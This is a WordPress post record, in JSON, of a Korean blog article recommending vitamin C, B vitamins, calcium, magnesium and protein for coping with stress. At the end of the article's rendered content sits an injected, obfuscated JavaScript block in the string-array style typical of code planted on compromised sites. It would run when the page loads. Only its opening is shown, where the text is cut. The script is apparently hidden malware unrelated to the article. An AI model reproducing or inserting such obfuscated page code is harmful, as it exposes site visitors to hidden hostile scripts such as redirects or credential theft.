{"id":4930,"date":"2021-05-21T10:23:54","date_gmt":"2021-05-21T01:23:54","guid":{"rendered":"https:\/\/aligns.co.kr\/?p=4930"},"modified":"2021-10-12T12:55:49","modified_gmt":"2021-10-12T03:55:49","slug":"%ec%8a%a4%ed%8a%b8%eb%a0%88%ec%8a%a4%eb%a1%9c%eb%b6%80%ed%84%b0-%eb%aa%b8%ec%9d%84-%ec%a7%80%ec%bc%9c%ec%a3%bc%eb%8a%94-%ea%bc%ad-%ed%95%84%ec%9a%94%ed%95%9c-%ec%98%81%ec%96%91%ec%86%8c","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/%ec%8a%a4%ed%8a%b8%eb%a0%88%ec%8a%a4%eb%a1%9c%eb%b6%80%ed%84%b0-%eb%aa%b8%ec%9d%84-%ec%a7%80%ec%bc%9c%ec%a3%bc%eb%8a%94-%ea%bc%ad-%ed%95%84%ec%9a%94%ed%95%9c-%ec%98%81%ec%96%91%ec%86%8c\/","title":{"rendered":"\uc2a4\ud2b8\ub808\uc2a4\ub85c\ubd80\ud130 \ubab8\uc744 \uc9c0\ucf1c\uc8fc\ub294 \uaf2d \ud544\uc694\ud55c \uc601\uc591\uc18c"},"content":{"rendered":"\n<p>\uc2a4\ud2b8\ub808\uc2a4\ub85c \uc778\ud55c \uc601\uc591\ubd88\ub7c9\uc774 \uc788\ub2e4\ub294 \uac83 \uc544\uc2dc\ub098\uc694?<\/p>\n\n\n\n<p>\ud3c9\uc18c\uc640 \ube44\uc2b7\ud55c \uc2dd\uc0ac\ub97c \uc720\uc9c0\ud558\uace0 \uc788\ub2e4\uace0 \ud558\ub354\ub77c\ub3c4 \uc2a4\ud2b8\ub808\uc2a4\uac00 \uc9c0\uc18d\ub420 \ub54c\uc5d0\ub294 \uc601\uc591\ubd88\ub7c9 \uc0c1\ud0dc\uc640 \uac19\uc740 \ud604\uc0c1\uc774 \ub098\ud0c0\ub098\ub294 \uac83\uc744 \uacbd\ud5d8\ud574 \ubcf8 \uc801 \uc788\uc744 \ud150\ub370\uc694!<\/p>\n\n\n\n<p>\uc624\ub7ab\ub3d9\uc548 \uc2a4\ud2b8\ub808\uc2a4\uac00 \uc9c0\uc18d\ub418\ub2e4 \ubcf4\uba74 \ubd84\ube44\ub418\ub294 \ud638\ub974\ubaac\ub4e4\uc740 \uc2e0\uc9c4\ub300\uc0ac\uc5d0 \uad00\uc5ec\ud558\ub294 \ud544\uc218\uc601\uc591\uc18c\ub4e4\uc744 \ud30c\uad34\ud558\uac70\ub098 \uc0c1\ub300\uc801\uc73c\ub85c \ubd80\uc871\ud55c \uc0c1\ud0dc\ub85c \uc720\ub3c4\ud558\uac8c \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4\ub97c \ud53c\ud560 \uc218 \uc5c6\ub2e4\uba74 \uc774\uaca8\ub0bc \ud798\uc744 \uae38\ub7ec\uc57c \ud558\ub294\ub370 \uc2a4\ud2b8\ub808\uc2a4 \ud574\uc18c\ub97c \uc704\ud55c \uc6b4\ub3d9, \ucde8\ubbf8 \ud65c\ub3d9 \ub4f1 \ubb3c\ub9ac\uc801, \uc2ec\ub9ac\uc801 \ubc29\ubc95\ub3c4 \uc788\uaca0\uc73c\ub098 \ubb34\uc5c7\ubcf4\ub2e4 \uac74\uac15\ud55c \uccb4\ub825\uc774 \ubc1b\uccd0\uc8fc\ub294 \uac83\uc774 \ubb34\uc5c7\ubcf4\ub2e4 \uc911\uc694\ud558\ub2e4\uace0 \ubcfc \uc218 \uc788\uaca0\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4\uac00 \uc624\ub7ab\ub3d9\uc548 \uc9c0\uc18d\ub418\uba74 \ub420\uc218\ub85d \uccb4\ub0b4\uc5d0\uc11c\ub294 \ucf54\ud2f0\uc878\uacfc \uc544\ub4dc\ub808\ub0a0\ub9b0\uc774 \uacc4\uc18d \ubd84\ube44\ub418\uba74\uc11c \ub9ce\uc740\uc591\uc758 \ube44\ud0c0\ubbfcC\uc640 \ube44\ud0c0\ubbfcB\uad70\uc774 \uc18c\ubaa8\ub418\uae30 \uc2dc\uc791\ud569\ub2c8\ub2e4. \ubb38\uc81c\ub294 \uc774\ub7ec\ud55c \ud604\uc0c1\uc774 \uc624\ub7ab\ub3d9\uc548 \ubc29\uce58\ub418\uba74 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc870\uc808\ud558\uae30 \uc704\ud574 \ubd84\ube44\ub418\ub294 \ud638\ub974\ubaac\ub4e4\uae4c\uc9c0\ub3c4 \uc815\uc0c1\uc801\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc9c0\uc9c0 \ubabb\ud558\ub294 \uc0c1\ud669\uc774 \uc624\uae30\ub3c4 \ud55c\ub2e4\ub294 \uac83\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4\uc5d0 \ub9de\uc11c \ud754\ub4e4\ub9ac\uc9c0 \uc54a\ub294 \uac74\uac15\ud568\uc744 \uc774\ub8e8\uace0 \uc2f6\ub2e4\uba74 \ubc18\ub4dc\uc2dc \ucc59\uaca8\uc57c \ud560 \uc601\uc591\uc131\ubd84\uacfc \uadf8 \uc774\uc720\uc5d0 \ub300\ud574 \uc54c\ub824\ub4dc\ub9ac\ub824\uace0 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc74c\uc2dd\uc744 \uc12d\ucde8\ud560 \ub54c \ud639\uc740 \uc601\uc591\uc81c\ub97c \uc120\ud0dd\ud560 \ub54c \ucc38\uace0\ud574 \ubcf4\uc138\uc694!<\/p>\n\n\n\n<p>\ube44\ud0c0\ubbfcC<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4\ub85c \uc778\ud574 \ubc1c\uc0dd\ub41c \ud65c\uc131 \uc0b0\uc18c\ub85c\ubd80\ud130 \uc138\ud3ec\ub97c \ubcf4\ud638\ud574\uc8fc\ub294 \ud56d\uc0b0\ud654 \uc791\uc6a9\uacfc \ub354\ubd88\uc5b4 \ucf54\ud2f0\uc878\uacfc \uc544\ub4dc\ub808\ub0a0\ub9b0\uacfc \uac19\uc774 \uc2a4\ud2b8\ub808\uc2a4 \uc870\uc808\uc5d0 \ub9e4\uc6b0 \uc911\uc694\ud55c \uc5ed\ud560\uc744 \ub2f4\ub2f9\ud558\ub294 \ud638\ub974\ubaac \ud569\uc131\uc5d0 \ud544\uc694\ud55c \ud544\uc218 \uc601\uc591\uc18c\ub85c \ucda9\ubd84\ud788 \uc12d\ucde8\ud574\uc57c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud55c\uad6d\uc778 \uc601\uc591\uc12d\ucde8 \uae30\uc900\uc740 \ud558\ub8e8 100mg \uc12d\ucde8\ub85c \uad8c\uace0\ud558\uace0 \uc788\uc9c0\ub9cc, \uac1c\uac1c\uc778\uc758 \uc0dd\ud65c \ud328\ud134\uc744 \uc0b4\ud3b4\ub294 \uac83\uacfc \ub3d9\uc2dc\uc5d0 \uc2a4\ud2b8\ub808\uc2a4\uac00 \ub9ce\uc740 \ud3b8\uc774\ub77c\uba74 \ud558\ub8e8 500mg ~ 1,000mg \uc774\uc0c1\uc740 \uc12d\ucde8\ud558\ub294 \uac83\uc744 \uc81c\uc548\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ube44\ud0c0\ubbfcB\uad70<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4\ub97c \ubc1b\uc73c\uba74 \ube60\ub974\uac8c \uace0\uac08\ub418\ub294 \ube44\ud0c0\ubbfc\uc774\ubbc0\ub85c \ud3c9\uc18c \ucda9\ubd84\ud558\uac8c \ubcf4\ucda9\ud574\uc918\uc57c \ud558\ub294 \ud544\uc218 \ube44\ud0c0\ubbfc\uc785\ub2c8\ub2e4. \ube44\ud0c0\ubbfcB\uad70 \uc911\uc5d0\uc11c\ub3c4 \ud310\ud1a0\ud150\uc0b0\uc774\ub77c \ubd88\ub9ac\ub294 \ube44\ud0c0\ubbfcB5\uac00 \uac00\uc7a5 \uc911\uc694\ud55c \uc548\ud2f0 \uc2a4\ud2b8\ub808\uc2a4 \uc601\uc591\uc18c\ub97c \ub2f4\ub2f9\ud558\uba70, \uc5fd\uc0b0\uc740 \ube44\ud0c0\ubbfcC\uc640 \ud568\uaed8 \ubd80\uc2e0 \uae30\ub2a5 \uc720\uc9c0\uc5d0 \ud544\uc218\uc801\uc73c\ub85c \uc791\uc6a9\ud558\uae30\ub3c4 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uce7c\uc298, \ub9c8\uadf8\ub124\uc298<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4\ub85c \uc2e0\uccb4\uac00 \uacfc\ub3c4\ud558\uac8c \ud765\ubd84\ub418\ub294 \uac83\uc744 \uac00\ub77c\uc549\ud788\ub294 \uce7c\uc298, \ub9c8\uadf8\ub124\uc298\uc774 \ud48d\ubd80\ud558\uac8c \ud568\uc720\ub41c \uc74c\uc2dd\uacfc \ubcf4\ucda9\uc81c\ub85c \ucda9\ubd84\ub7c9 \uc12d\ucde8\ud574\uc57c \ud569\ub2c8\ub2e4. \ub610\ud55c \uc5ec\uc131\ub4e4 \uc911\uc5d0\uc11c\ub3c4 \ud3d0\uacbd\uc5d0 \uc774\ub974\ub294 \uc5ec\uc131\uc774\uba74\uc11c \ub9cc\uc131 \uc2a4\ud2b8\ub808\uc2a4\uc5d0 \uc624\ub798 \ub178\ucd9c\ub418\uc5b4 \uc788\ub2e4\uba74 \ubc18\ub4dc\uc2dc \ubcf4\ucda9\uc81c \ub4f1\uc73c\ub85c \uc12d\ucde8\ub97c \ud558\ub294 \uac83\uc744 \ucd94\ucc9c\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub2e8\ubc31\uc9c8<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4 \uc0c1\ud669\uc5d0\uc11c\ub294 \ud608\ub2f9\uc744 \ub192\uc774\uae30 \uc704\ud574 \ud3ec\ub3c4\ub2f9\uc744 \uacc4\uc18d \ub9cc\ub4e4\uc5b4 \ub0c5\ub2c8\ub2e4. \uc774 \ub54c \uc800\uc7a5\ub418\uc5b4 \uc788\ub294 \ub2f9\uc758 \ud615\ud0dc\uc778 \uae00\ub9ac\ucf54\uac90\uc774 \uace0\uac08\ub418\uba74 \uadfc\uc721, \ub9bc\ud504\uc870\uc9c1, \uacb0\ud569\uc870\uc9c1 \ub4f1\uc5d0 \uc788\ub294 \ub2e8\ubc31\uc9c8\uc744 \ubd84\ud574\ud558\uc5ec \uc6d0\ub8cc\ub85c \uc774\uc6a9\ud558\uae30 \ub54c\ubb38\uc5d0 \uadfc\uc721\uc774 \uc57d\ud654\ub418\uace0 \uba74\uc5ed\ub825\uc774 \uc800\ud558\ub418\uba74\uc11c \uccb4\ub2e8\ubc31\uc9c8\ub7c9\ub3c4 \uae09\uaca9\ud788 \uc904\uc5b4\ub4e4\uac8c \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uccb4\ub2e8\ubc31\uc9c8\uc758 \uae09\uaca9\ud55c \uac10\uc18c\ub294 \uba74\uc5ed\ub825\uc744 \uc2ec\uac01\ud558\uac8c \ubc29\ud574\ud558\uace0, \uadf8 \uacb0\uacfc \ub2e4\uc591\ud55c \uac10\uc5fc\uae4c\uc9c0\ub3c4 \ubc1c\uc0dd \ub418\uae30 \uc27d\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc704\uc640 \uac19\uc740 \ud604\uc0c1\ub4e4\uc744 \uc808\ub300 \uadf8\ub7ec\ub824\ub2c8 \ub118\uc5b4\uac00\uc9c0 \ub9c8\uc138\uc694!<\/p>\n\n\n\n<p>\ubab8\uc774 \ubcf4\ub0b4\ub294 \uc2e0\ud638\ub97c \uac10\uc9c0\ud558\uc5ec \uc790\uc2e0\uc758 \ubd80\uc871\ud55c \ubd80\ubd84\uc744 \ub354\uc6b1 \uc900\ube44\ud558\ub294 \uc790\uc138\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubab8\uc774 \uc2a4\ud2b8\ub808\uc2a4 \uc5c6\ub294 \uc0c1\ud0dc\uac00 \uac00\uc7a5 \uac74\uac15\ud55c \uc0c1\ud0dc\ub77c\uace0\ub4e4 \ud558\uc9c0\uc694..<\/p>\n\n\n\n<p>\uc0b4\uba74\uc11c \ubc1b\uc9c0 \uc54a\uc744 \uc218 \uc5c6\ub294 \uc2a4\ud2b8\ub808\uc2a4 \ub300\uc751\uc744 \uc704\ud55c \uae30\ubcf8\uc801\uc778 \uc601\uc591\uc131\ubd84\uc758 \ubcf4\ucda9\uc5d0 \uad00\uc2ec\uc744 \uac00\uc838\ubcf4\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-embed\">https:\/\/blog.naver.com\/soul1247665\/222339453401<\/figure>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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